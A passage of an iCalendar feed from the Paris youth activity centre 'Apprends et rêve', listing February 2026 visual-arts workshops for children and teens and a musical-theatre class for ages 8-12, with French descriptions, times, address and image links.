crayons papier\, crayons de couleur\, feutres\, peinture. Ils découperont\, colleront\, agraferont\, plieront… Ils créeront des histoires\, feront des romans-photos\, des films\, des installations\, mêlant musique\, histoire\, images. Les enfants seront des artistes à part entière. URL:https://apprends-et-reve.fr/activite/etre-creatif-cest-tout-un-art/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Musique / son ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/09/img_categorie_theme_arts_plastiques_home.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T171500 DTEND;TZID=Europe/Paris:20260211T183000 DTSTAMP:20260121T154105 CREATED:20250516T160426Z LAST-MODIFIED:20250523T092359Z UID:10020411-1770830100-1770834600@apprends-et-reve.fr SUMMARY:Être créatif\, c'est tout un art! DESCRIPTION:Pour certains artistes contemporains\, ne pas savoir dessiner est un plus. Il permet à la créativité de s’exprimer plus librement et complètement. Avec l’atelier arts plastiques\, les adolescents ne vont pas apprendre à dessiner mais à laisser voguer leur imagination. Ils vont apprendre à travailler des matériaux aussi divers que la terre\, le fil de fer\, le tissu\, le carton\, le papier\, de la mosaïque\, la laine\, la mousse expansive… \nIls utiliseront crayons papier\, crayons de couleur\, feutres\, peinture. Ils découperont\, colleront\, agraferont\, plieront… Ils créeront des histoires\, feront des romans-photos\, des films\, des installations\, mêlant musique\, histoire\, images. Les ados seront des artistes à part entière. URL:https://apprends-et-reve.fr/activite/etre-creatif-cest-tout-un-art-2/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Musique / son ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2019/04/Art-Plastiques-HD-4-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260211T173000 DTEND;TZID=Europe/Paris:20260211T190000 DTSTAMP:20260121T154105 CREATED:20250507T094953Z LAST-MODIFIED:20250522T155427Z UID:10016871-1770831000-1770836400@apprends-et-reve.fr SUMMARY:Comédie musicale: du rêve à la scène\, pour les 8-12 ans DESCRIPTION:ATELIER DESTINÉ AUX ENFANTS ET ADOS ÂGÉS DE 8 À 13 ANS – Musique\, chant\, théâtre et danse seront les fils rouge de ce cours. Danser\, chanter et jouer de manière simultanée\, mais aussi raconter une histoire. Les enfants apprennent une chorégraphie\, mais surtout à danser et chanter ensemble. Tous en même temps interprétant la même partition\, dansant la même chorégraphie et racontant la même histoire. Telle est la force de la comédie musicale. \nIls seront pour cela entourés et dirigés par trois grands professionnels de la musique et du théâtre qui\, pour la première fois\, enseignent ensemble dans le 16ème arrondissement de Paris : Stephy Haik\, professeur de chant\, Maria Laura Baccarini\, professeur de danse et théâtre et Joseph Robinne\, pianiste. URL:https://apprends-et-reve.fr/activite/comedie-musicale-du-reve-a-la-scene-pour-les-8-12-ans/2026-02-11/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Comédie musicale,Danse,Musique / son,Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Gala-2016-360-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT END:VCALENDAR